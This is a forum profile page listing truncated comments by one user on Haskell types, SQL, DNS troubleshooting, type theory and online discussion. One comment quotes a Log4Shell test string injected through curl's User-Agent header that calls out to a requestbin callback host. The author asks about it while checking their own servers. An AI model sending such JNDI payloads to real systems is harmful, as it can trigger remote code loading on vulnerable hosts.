Viewing profile — philh

Thanks. Yeah, I don't understand the name. You could construct a basically-equivalent data structure in Haskell, but I think normally you'd use an HList (defined in many places but…

I'm not familiar with that technique and don't know what's going on from that snippet. In Haskell, any time a heterogeneous list turns out to be fine, I expect to be able to model …

I'm still working at the same company as when I wrote this, and that company is still using Haskell (now mostly Typescript instead of Elm). If I did move on I'd ideally want to kee…

I don't necessarily disagree. But I do think there's something to be said for knowing that my sql query is "just" slow, not trapped in an infinite loop. Not confident, but I feel l…

I think my position is: Native heterogeneous lists will often be convenient, and sometimes when you've used them they're going to turn out in retrospect to have been a bad idea but…

For whatever it's worth, when I first wrote this I submitted it to /r/haskell ( https://www.reddit.com/r/haskell/comments/cs7jyu/a_reckless_... ) and it doesn't look like there wer…

SQL queries sometimes put floats in GROUP BY. E.g. if you have a many-to-one relationship you might do a query like SELECT foo_id, foo.some_float, SUM(bar.some_thing) FROM foo JOIN…

Huh, I remember xearth. It would move the stars every time it redrew itself. I wanted to have it update every second for some reason, and that was distracting, so I patched it to a…

Thanks! Yeah, `dig` with no DNS gives me a SERVFAIL but `dig @1.1.1.1` works. My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but mig…

Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like curl -A '${jndi:ldap:test.a54c4d391bad1b…

I don't really know what's going on here, so to clarify... it gives "simple checking example" nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net but when I run that in my te…

The context was parsing, not semantics. "Typeless" meant "lacking type annotations", not directly to do with static/dynamic or weak/strong typing. (Though Python does have optional…

Author in the old thread ( https://news.ycombinator.com/item?id=19262249 ) says > An x86-64 CPU has sixteen integer registers, but 100-200 physical integer registers. Every time an…

This doesn't acknowledge weekends, which if you have the same 8 hours sleep and 4 hours "not for yourself", add more than 50% to the time you supposedly have "for yourself". (4×5 +…

What do you mean by "that's really on you"? I'd normally interpret it as something like... "this is a state of affairs that would be different if you'd acted differently, and you k…

Okay, but it seems like "science isn't a single tradition" is a perfectly reasonable way to describe this state of affairs. So when you ask "what does this even mean" I think there…

> Science is far from an 'anarchic enterprise'. It has the most rigidly regulated mechanisms for knowledge procurement and knowledge dissemination available to us. > Further, scien…

> I don't know what you mean by this - lambdas are values not types. I think they meant "`Maybe` is a type-lambda abstraction", meaning roughly "a type-level function", which seems…

As I said, I think that's a reasonable but nonstandard way to define the word "type" but it doesn't make much difference - type theory concerns itself with them, whatever they're c…

Or Haskell has types like `Void`, `Maybe`, and `Monad`. If you think of them as "sets of possible values", these all have no possible values. But they're very different types. You …

Welp, on a second look it turns out it wasn't you who made that accusation. I, uh, could probably have spent a few seconds checking that.

"To some degree"? Surely. It could have influenced you to spend a few seconds checking whether the account was a throwaway. I think that would have been entirely reasonable. But it…

> I will add that even with regards to the government, there are limits to free speech — falsely shouting “fire” in a crowded theater is the archetypal example. Note that when this…

> It's simple, at least in theory: Don't go along with decisions you disagree with until you've voiced your concerns and they have been addressed. Depending how I read "go along", …